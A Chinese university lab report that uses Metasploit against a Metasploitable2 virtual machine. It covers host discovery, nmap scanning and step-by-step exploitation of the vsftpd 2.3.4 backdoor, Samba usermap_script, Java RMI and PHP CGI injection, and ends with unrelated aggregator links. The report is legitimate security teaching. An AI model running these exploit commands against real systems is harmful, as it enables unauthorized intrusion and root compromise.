20222409 2024-2025-1 《网络与系统攻防技术》实验六实验报告

news/2025/2/28 4:42:21/文章来源:https://www.cnblogs.com/20222409wqb/p/18562996

1.实验内容

1.1 本周学习内容

  • 学习了Metasploit渗透测试框架的使用方法,重点掌握了从搜索模块到执行攻击的完整流程。在实验中熟悉了标准操作步骤,如搜索模块、加载模块、设置参数和运行攻击。
  • 实验中实践了下列典型漏洞:Vsftpd后门漏洞、Samba命令注入漏洞、Java RMI命令执行漏洞和PHP CGI参数注入漏洞。通过具体操作理解了这些漏洞的后门代码的触发方式。
  • 通过Metasploit的模块化功能,学习了如何使用扫描模块进行主机发现和端口扫描,以及利用模块进行漏洞攻击。

1.2 实践内容

1.2.1 前期渗透

1.2.1.1 主机发现

可用Aux中的arp_sweep模块,search一下就可以use,通过扫描发现主机。

1.2.1.2 端口扫描

可以直接用nmap,也可以用Aux中的portscan/tcp等进行端口扫描。

1.2.1.3 系统版本与漏洞扫描(选做)

可以扫描靶机的系统版本、漏洞等

1.2.2 Vsftpd源码包后门漏洞(21端口)

在特定版本的vsftpd服务器程序中,被人恶意植入代码,当用户名以“😃“为结尾,服务器就会在6200端口监听,并且能够执行任意代码。

1.2.3 Samba MS-RPC Shell命令注入漏洞(139端口)

Samba中负责在SAM数据库更新用户口令的代码未经过滤便将用户输入传输给了/bin/sh。如果在调用smb.conf中定义的外部脚本时,通过对/bin/sh的MS-RPC调用提交了恶意输入的话,就可能允许攻击者以nobody用户的权限执行任意命令。

1.2.4 Java RMI SERVER命令执行漏洞(1099端口)

Java RMI Server的RMI注册表和RMI激活服务的默认配置存在安全漏洞,可被利用导致代码执行。

1.2.5 PHP CGI参数执行注入漏洞(80端口)

CGI脚本没有正确处理请求参数,导致源代码泄露,允许远程攻击者在请求参数中插入执行命令。

2.实验过程

由图1可知攻击机Kali的ip为:192.168.222.130
由图2可知靶机Metasploitable2的ip为:192.168.222.140

图1:

图2:

2.1 前期渗透

2.1.1 主机发现

主机发现是渗透测试的第一步,其目标是通过网络扫描找出靶机的IP地址。在本次实验中,我们使用Metasploit的辅助模块arp_sweep进行局域网扫描,同时确保能够高效识别靶机的存在。
先在在Kali终端中,执行ping命令确认靶机在线。随后按照以下操作步骤进行实验:

  1. 启动Metasploit框架
    随后,在root权限下启动metasploit
msfconsole
  1. 搜索主机发现并加载模块
    使用以下命令在Metasploit中搜索与主机发现相关的模块:
search arp_sweep

注意要选择模块为auxiliary/scanner/discovery/arp_sweep
由于序号正好是0,我们直接输入use 0即可加载模块

use 0

结果如图3所示

图3:

  1. 设置参数
set RHOSTS 192.168.222.0/24  # 扫描整个局域网
set THREADS 10  # 提高扫描速度
  1. 运行模块
run

运行结果如图4所示

图4
扫描结果表明靶机(192.168.222.140)在线,网络连接正常,并与攻击机(192.168.222.130)处于同一子网内。而其他响应的IP(如192.168.222.1、192.168.222.2、192.168.222.254)可能是虚拟网络环境的网关或管理地址,但与这次攻击关系不大。

2.1.2 端口扫描

完成主机发现后,需要进一步探测靶机开放的服务端口,以确定可能的攻击向量。

2.1.2.1 使用nmap进行端口扫描
  1. 执行扫描
    在Kali终端中运行以下命令:
nmap -sS -sV 192.168.222.140

参数解释:

  • -sS(SYN扫描):使用半开连接(SYN)方法探测端口状态,具有速度快且隐蔽性高的特点。
  • -sV(服务版本探测):识别开放端口上运行的服务类型和版本号。
  1. 分析扫描结果``
    扫描结果如图5所示

    图5:
    通过扫描,成功识别靶机开放的端口、服务及版本信息
2.1.2.2 使用Metasploit的portscan/tcp模块
  1. 加载模块
    在msfconsole中输入以下命令,加载portscan/tcp模块:
use auxiliary/scanner/portscan/tcp
  1. 设置目标参数
    配置扫描的目标IP地址和并发线程数:
set RHOSTS 192.168.222.140 # 靶机ip
set THREADS 10 # 扫描线程数
  1. 运行扫描
run

扫描结果如图6所示。

图6:
通过Metasploit的portscan/tcp模块扫描,成功识别了靶机192.168.222.140开放的TCP端口。

2.1.3 系统版本与漏洞扫描(选做)

在前期渗透的主机发现和端口扫描阶段,我们已经识别了靶机的IP地址(192.168.222.140)和开放端口(21、80、139等)。为了进一步明确靶机的系统环境与可能存在的漏洞,需要探测其操作系统版本和服务版本,并评估潜在的安全漏洞。

  1. 运行nmap命令
    在Kali终端中输入以下命令,针对靶机(IP地址:192.168.222.140)进行扫描:
nmap -O -sV --script vuln 192.168.222.140

参数说明:

  • -O:识别靶机运行的操作系统版本。
  • -sV:获取每个开放端口上运行服务的详细版本信息。
  • --script vuln:调用nmap的漏洞检测脚本,识别可能存在的安全漏洞。
  1. 分析漏洞信息
    图7为扫描结果总览及21号端口信息。

    图7:
    从图7中的从扫描结果可以看出,靶机的 FTP 服务(21端口) 使用的是 vsftpd 2.3.4,该版本存在已知的后门漏洞(CVE-2011-2523)。

图8为80端口信息

图8:
从图8中的从扫描结果可以看出80端口运行的是 Apache httpd 2.2.8,存在多个高危漏洞(远程代码执行和路径遍历),并暴露了敏感目录和文件(/phpinfo.php 和 /phpMyAdmin)。

图9为1099端口信息

图9:
从图9中的从扫描结果可以看出1099端口的 Java RMI 服务存在默认配置漏洞,可通过 Metasploit 模块 java_rmi_server 利用。

2.2 Vsftpd源码包后门漏洞(21端口)

Vsftpd(Very Secure FTP Daemon)是一款流行的FTP服务器软件。然而,2.3.4版本中被植入了恶意后门代码,当用户名以: )结尾时,服务会在6200端口打开一个反向Shell,攻击者可以利用此漏洞执行任意命令。本次实验通过Metasploit对该漏洞进行利用。

2.2.1 确认靶机端口开放

使用以下命令扫描靶机的21端口,确认FTP服务开启,运行的是vsftpd 2.3.4版本,结果如图10所示。

nmap -sV -p 21 192.168.222.140


图10:

2.2.2 启动Metasploit框架

msfconsole

2.2.3 搜索并加载漏洞模块

  1. 搜索vsftpd 2.3.4漏洞模块:
search vsftpd
  1. 加载模块:
use exploit/unix/ftp/vsftpd_234_backdoor # 也可以用use 1

2.2.4 配置攻击参数

  1. 设置靶机IP地址:
set RHOST 192.168.222.140
  1. 设置靶机端口
    保持默认值21
  2. 检查配置是否正确:
show options

正确的配置如图11。

图11:

2.2.5 执行攻击

run

攻击结果如图11所示

图11:
可见,成功利用vsftpd 2.3.4后门漏洞在靶机上获得了root权限,并通过反向Shell(uname –apwdid等命令)验证了系统信息。

2.3 Samba MS-RPC Shell命令注入漏洞(139端口)

Samba是一个广泛使用的文件共享服务,在特定配置下,Samba服务中的usermap_script功能存在代码注入漏洞,攻击者可利用该漏洞以nobody用户的权限执行任意命令。
本模块演示如何利用Samba的usermap_script漏洞获取靶机的访问权限。

2.3.1 使用nmap确认靶机的139端口是否开放

nmap -p 139 192.168.222.140


图12:
由图12可知,靶机192.168.222.140的139端口开放,有运行NetBIOS相关服务。

2.3.2 选择漏洞模块

在Kali的Metasploit框架中加载usermap_script漏洞模块:

use exploit/multi/samba/usermap_script

2.3.3 配置模块参数

  1. 设置靶机的IP地址:
set RHOSTS 192.168.222.140
  1. 设置靶机的端口号
    默认139端口即可, 无需修改

  2. 检查配置是否正确

show options

正确的配置如图13:

图13:

2.3.4 执行攻击

run


图14:
通过使用uname -a检验,可见,成功利用 Samba 的 usermap_script 漏洞获取了靶机的交互式 Shell,运行命令验证显示靶机操作系统为 Linux 2.6.24,标识为 Metasploitable2。

2.4 Java RMI SERVER命令执行漏洞(1099端口)

Java RMI(Remote Method Invocation)默认配置中存在安全漏洞,攻击者可以通过恶意输入远程执行任意代码。本模块演示如何利用该漏洞获取靶机权限。

2.4.1 确认1099端口开放

使用nmap扫描靶机,确认1099端口是否开放:

nmap -p 1099 192.168.222.140


图15:
由图15可知靶机192.168.222.140的1099端口运行开放rmiregistry服务,可以利用Java RMI相关漏洞进行进一步渗透。

2.4.2 选择漏洞模块

在Metasploit中加载java_rmi_server漏洞模块:

use exploit/multi/misc/java_rmi_server

2.4.3 设置模块参数

  1. 设置靶机的IP地址:
set RHOSTS 192.168.222.140
  1. 设置靶机的端口号
set RPORT 1099
  1. 检查配置是否正确
show options

正确的配置如图16:

图16:

2.4.4 执行攻击

run


图17:
通过使用whoami检验,可见,成功利用java_rmi_server漏洞(1099端口)获得靶机的meterpreter会话,并在Shell中确认权限(当前用户为root)。

2.5 PHP CGI参数执行注入漏洞(80端口)

PHP是一种流行的服务器端脚本语言,在使用CGI(Common Gateway Interface)模式时,某些PHP版本存在参数处理漏洞,攻击者可以通过特制的HTTP请求注入恶意命令并远程执行。
本模块演示如何利用该漏洞,通过Metasploit框架对靶机上的PHP CGI服务进行攻击,获得系统访问权限。

2.5.1 确认Web服务状态

使用nmap扫描靶机,确认80端口是否开放并运行Web服务:

nmap -p 80 192.168.222.140


图18:
扫描结果显示靶机 192.168.222.140 的 HTTP 服务(80端口)处于开放状态,可继续进行漏洞利用测试。

2.5.2 选择漏洞模块

在Metasploit中加载PHP CGI参数注入漏洞模块:

use exploit/multi/http/php_cgi_arg_injection

2.5.3 设置模块参数

  1. 设置靶机的IP地址:
set RHOSTS 192.168.222.140
  1. 设置靶机的端口号
set RPORT 80
  1. 根据靶机配置设置URL路径
set TARGETURI /cgi-bin/php
  1. 检查配置是否正确
show options

正确的配置如图19:

图19:

2.5.4 启动攻击

run


图20:
通过使用whoamiiduname -a检验,可见,利用php_cgi_arg_injection漏洞成功攻击靶机 192.168.222.140,获得 meterpreter 会话并以用户 www-data 权限访问系统。

3.问题及解决方案

本次实验较为按部就班,硬要说问题的话,就是以下几个

  • 问题1:2.3部分,run之后,一直没有获取shell的提示或人机交互
  • 问题1解决方案:纯人机交互做的不好,获取已经成功了没提示,以为还在加载,其实直接输入uname -a即可
  • 问题2:2.4部分,用whoami未成功,如图21

    图21:
  • 问题2解决方案:先输入shell,再输入whoami即可

4.学习感悟、思考等

通过本次实验,我熟悉了Metasploit框架的基本使用方法,掌握了从信息收集到漏洞利用的完整渗透流程(msfconsole -> search xxx -> use x -> set rhost,set rport -> show options -> run)。实践过程中,通过手动攻击Vsftpd后门、Samba命令注入等典型漏洞,我了解了漏洞产生的原理,深刻体会到系统安全配置的重要性。这次实验让我对网络攻防的技术和思维方式有了更直观的理解,同时也激发了我对网络安全领域的浓厚兴趣。

参考资料

  • [Metasploit入门教程](https://blog.csdn.net/m0_74131821/article/details/130901449
  • Ftp笑脸漏洞(VSFTPD 2.3.4)复现
  • Metasploitable2靶机之第四篇--Samba MS-RPC Shell 命令注入漏洞
  • Metasploitable2靶机之第九篇--Java RMI SERVER 命令执行漏洞
  • PHP-CGI漏洞分析与复现及通用EXP编写

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/839436.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

基于Atheros-CSI-tool的CSI采集软硬件环境

软硬件环境搭建 基于Atheros csi tool的采集环境搭建 硬件设备 信号发生和采集设备:TP-Link WDR4310v1/TP-Link WDR4900v2 控制主机 交换机 拓扑结构软件环境[!NOTE] 官方安装文档 官方固件 官方openwrt源码操作系统 在终端刷上openwrt固件openwrt-ar71xx-generic-tl-wdr4300-…

MATLAB图注意力网络GAT多标签图分类预测可视化

全文链接:https://tecdat.cn/?p=38321 原文出处:拓端数据部落公众号 本示例展示了如何使用图注意力网络(GATs)对具有多个独立标签的图进行分类。当数据中的观测值具有带有多个独立标签的图结构时,可以使用GAT来预测未知标签观测值的标签。GAT利用图结构和图节点上的可用信…

律师必备:一款免费开源工具,单文档30秒内提取案件关键信息!

一、工具简介 这款工具是一款基于自然语言处理(NLP)技术的开源软件,旨在帮助法律专业人士快速获取文档中的重要信息。无论是合同、判决书还是其他法律文件,该工具都能迅速分析并提取出相关的法律条款、案件事实、当事人信息等。二、客户案例 1、中型律所的高效管理: 一家中…

upload-labs-master第12关详细教程

upload-labs-master第12关详细教程,包含环境的配置,已经闯关的教程,图文并茂环境配置需要的东西phpstudy-2018 链接: https://pan.baidu.com/s/1D9l13XTQw7o6A8CSJ2ff9Q 提取码:0278 32位 vc9和11运行库 链接: https://pan.baidu.com/s/1pBV3W8UWJe0bmDl_cPFDQw 提取码:…

NOIP2024加赛7

镜的绮想 (mirror) 签到(没签成)。 对于\(y\)相同的实点和虚点的\(x\)取中间值,最大的就是答案。 时间复杂度\(O(n^2)\)。点此查看代码 #include<bits/stdc++.h> using namespace std; #define rep(i,s,t,p) for(int i = s;i <= t; i += p) #define drep(i,s,t,p) …

5秒生成精准法律摘要:助力律师高效应对案件材料,免费开源体验!

一、系统概述 在法律行业,律师通常面临大量案件材料的快速阅读和整理需求。然而,由于信息碎片化、案件复杂性高,快速提取关键信息成为一大难题。本开源软件基于先进的自动摘要算法(如TF-IDF、TextRank、Transformer模型),可在30秒内从单文档中生成高准确率(≥80%关键信息…

DBC中的Intel和Motorola字节序

https://mp.weixin.qq.com/s/PsCU43sSSSOzVHT3-mzMDw 本文目录: 一.Intel字节序 1. 信号布局:小端主机 2. 消息发送:小端主机 3. 消息接收:大端主机 4. 整体图示 二. Motorola字节序 1. 信号布局:大端主机 2. 消息发送:大端主机 3. 消息接收:小端主机 4. 整体图示 三.…

人工智能之深度学习基础——神经网络

神经网络概述 神经网络(Neural Network)是人工智能和深度学习的核心技术之一,其灵感来源于生物神经系统。它通过模拟人脑神经元之间的连接,解决复杂的任务,如分类、回归、生成、优化等。1. 神经网络的基本结构 1.1 神经元(Neuron)神经网络的基本单元类似于生物神经元。 …

1.python 基础

day01 计算机基础和环境搭建 目录day01 计算机基础和环境搭建1.计算机基础1.1 基本概念1.2 编程语言1.3 编译器/解释器2.学习编程的本质3.Python的介绍3.1 语言的分类3.2 Python3.3 Python的解释器种类(了解)3.4 CPython解释器的版本4.环境搭建4.1 安装Python解释器4.1.1 mac…

基于FPGA的4FSK调制解调系统,包含testbench,高斯信道模块,误码率统计模块,可以设置不同SNR

1.算法仿真效果 本课题是博主之前写的文章《m基于FPGA的4FSK调制解调系统verilog实现,包含testbench测试文件》的升级升级内容包含高斯信道模块,误码率统计模块,可以设置不同SNR。vivado2019.2版本开发,仿真结果如下:设置SNR=30设置SNR=15设置SNR=10设置SNR=5系统RTL结构如下…

JAVA第二次BLOG作业

目录 前言 设计与分析 PTA第四次作业 PTA第五次作业 PTA第六次作业 踩坑心得 总结 前言 这几次的大作业总的来说都花了很多的时间,也有做不出来的,但是一直做总能学到一些什么。每次我认为比较花时间的是怎么去设计好类,第六次则要想清楚怎么处理输入的电器以及电器的电压、…

文字转语音软件 VPot v2411

介绍 VPot 是一款文字转语音软件,支持多种语言,多种角色声音,软件免费无广告,有需求的朋友可以试试。 软件截图更新日志 v2411更新说明:1、更新修复edge 下载地址:https://pan.quark.cn/s/dda9d07345d3